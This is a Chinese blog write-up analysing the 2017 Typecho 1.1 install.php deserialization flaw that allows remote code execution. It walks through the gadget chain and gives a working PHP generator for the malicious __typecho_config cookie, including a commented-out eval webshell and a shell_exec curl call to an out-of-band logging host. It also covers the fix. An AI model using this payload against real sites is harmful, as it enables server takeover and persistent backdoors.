typecho install.php漏洞分析

Posted by grt1stnull on 2018-03-28

0x00.前言

对2017.10的typecho前台GETSHELL漏洞的分析。

0x01.介绍

漏洞版本对应于Typecho 1.1(15.5.12),各个版本typecho下载链接

严格来说,这并不是一个反序列漏洞,而是一个任意代码执行漏洞。因为虽然它使用了反序列化函数,但是利用点却在对象的实例化以及其后续的一系列的魔术方法中。

0x02.漏洞分析

1.漏洞入口

代码入口在install.php第230-234行,如下:

1
2
3
4
5
6
7
8
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

从以上代码可以看出,重要过程如下:首先调用Typecho_Cookie类的get()方法,对其base64解码后进行反序列化。然后初始化Typecho_Db类,之后调用addServer()方法。

下面跟进Typecho_Cookie类(var/Typecho/Cookie.php),找到get()方法:

typecho1

在类中,有self::$_prefix = '',所以有$key = $key。首先$value值为cookie中键key的值或post中key的值,但以上都不存在时为NULL,而当$value是数组时,也会返回NULL,否则返回$value

这意味着我们可以控制反序列化的字符串。

然后来看执行到漏洞点需要的条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
if (isset($_GET['finish'])) :
if ([email protected]_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) :
_e('安装失败!');
elseif (!Typecho_Cookie::get('__typecho_config')): ?>
php _e('没有安装!');
else :
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

可以看出,满足条件比较简单。下面寻找可利用点。

2.利用点

反序列化漏洞主要依赖的是魔术方法的调用。在反序列化时会自动调用__wakeup()魔术方法,全局搜索并没有找到相关函数。

那么反序列后,继续跟进下面代码。

跟进Typecho_Db类(var/Typecho/Db.php),看被调用的构造方法。

typecho2

可利用的点出现在第120行,如果用字符串拼接对象,会自动调用__tostring()魔术方法。

全局搜索__tostring()函数的定义,寻找是否可继续利用。

typecho3

从下向上,依次查看代码。

首先是Query.php(var/Typecho/Db/Query.php),定义位于文件末尾:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

并不存在可以利用的点。

然后看下一个Config.php(var/Typecho/Config.php),代码同样处于末尾:

typecho4

函数返回一个序列化的字符串,同样不能利用。

最后看Feed.php(var/Typecho/Feed.php)文件,从第223行开始。

从函数定义开始看,发现在定义一些变量,并没有引入什么危险函数。

但是关键出现了,注意看下列代码:

1
2
3
4
5
6
7
8
9
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
...

关键在于最后一行代码的$item['author']->screenName这个代码段。参考php官方文档的魔术方法,在php中,__get()魔术方法会在读取不可访问属性的值时调用。

所以继续搜索__get()函数的定义,寻找利用点。

typecho5
typecho6

由上至下:

IXR/Client.php:

1
2
3
4
public function __get($prefix)
{
return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
}

Typecho/Plugin.php:

1
2
3
4
5
public function __get($component)
{
$this->_component = $component;
return $this;
}

Typecho/Request.php:

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

Typecho/Config.php

1
2
3
4
public function __get($name)
{
return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
}

Typecho/Date.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __get($name)
{
switch ($name) {
case 'year':
return date('Y', $this->timeStamp);
case 'month':
return date('m', $this->timeStamp);
case 'day':
return date('d', $this->timeStamp);
default:
return;
}
}

Widget.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __get($name)
{
if (array_key_exists($name, $this->row)) {
return $this->row[$name];
} else {
$method = '___' . $name;
if (method_exists($this, $method)) {
return $this->$method();
} else {
$return = $this->pluginHandle()->trigger($plugged)->{$method}($this);
if ($plugged) {
return $return;
}
}
}
return NULL;
}

Layout.php

1
2
3
4
public function __get($name)
{
return isset($this->_attributes[$name]) ? $this->_attributes[$name] : NULL;
}

看代码可以知道,只有Request.php(var/Typecho/Request.php)可能存在利用点,跟进去看:

typecho7

里面存在一个调用的函数_applyFilter(),跟进去看是否存在利用点。

typecho8

由代码可知,可以通过回调函数来调用一些危险函数。那么我们是否可以控制危险函数的参数呢,回到刚刚的get()函数。可以看出,通过switch语句对$value进行赋值(事先定义好类内_params属性),然后将该变量作为参数传递(如果$value不是数组且长度大于0),我们可以控制危险函数的参数。所以这里存在一个任意代码执行漏洞。

3.思路及payload

首先控制反序列参(unserialize()),之后利用下面代码实例化对象(new Typecho_Db())的构造方法的拼接字符串($adapterName = 'Typecho_Db_Adapter_' . $adapterName;),从而调用__tostring()魔术方法,利用这个魔术方法内的属性值加载($item['author']->screenName)涉及的__get()魔术方法,以及通过其的实现get()方法和_applyFilter()方法调用回调函数,使任意代码执行。

所以首先构造条件,使install.php的流程走进反序列化unserialize()处,然后构造反序列化字符串。首先是一个对象,它有__tostring()魔术方法,即Typecho_Feed()(Feed.php中),然后这个对象属性中的$item['author']值为另外一个对象,且有可利用的__get()魔术方法,即Typecho_Request()(Request.php中),这个对象的属性值是$this->_params['screenName']$this->_filter[0],分别是任意代码执行的参数和函数。

payload构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
//private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'<?php @eval($_POST[p0]);>\')');
//private $_filter = array('assert');
$this->_params['screenName'] = '-1';
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
/** 定义RSS 1.0类型 */
const RSS1 = 'RSS 1.0';
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type = 'RSS 2.0';
private $_items = array();
private $dataFormat;
public function __construct()
{
$this->_version = '';
$this->_type = 'RSS 2.0';
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$payload1 = new Typecho_Feed();
$a = array(
'adapter' => $payload1,
'prefix' => 'typecho_'
);
echo base64_encode(serialize($a));
?>

4.后续

这里关于任意执行的代码也有一些说道,上面payload只是以phpinfo()作为示例。

首先我尝试以assert()作为payload的危险函数,得到了报错信息:PHP Warning: Cannot call assert() with string argument dynamically

问题可以参考这里,原因是我的php版本为7.2,某些动态调用函数已经被禁止。

我又尝试使用eval(),但是得到了报错:PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name

也就是说,这里的的函数需要为可回调函数。所以eval()函数不可以运行。在php中,可以通过is_callable来判断一个函数是否为回调函数,比如:

1
2
3
<?php
echo is_callable("eval") == false;
?>

于是我试了几个常用的危险函数,寻找是否可以作为回调函数。

shell_exec()为例子,使用ceyeshell_exec("curl php.jw40mp.ceye.io")

typecho9

所以虽然我这里evalassert都不能用,但是能够执行命令也是极好的。

0x05.漏洞的修复

对于使用者,最直接的方式就是删除install.php文件与对typecho版本进行升级。

在github上可以看到,作者对漏洞的修补,链接在这里,改动就像作者所说的:

使用更好的方式保护安装文件,不再依赖session。

分析就到这里,over。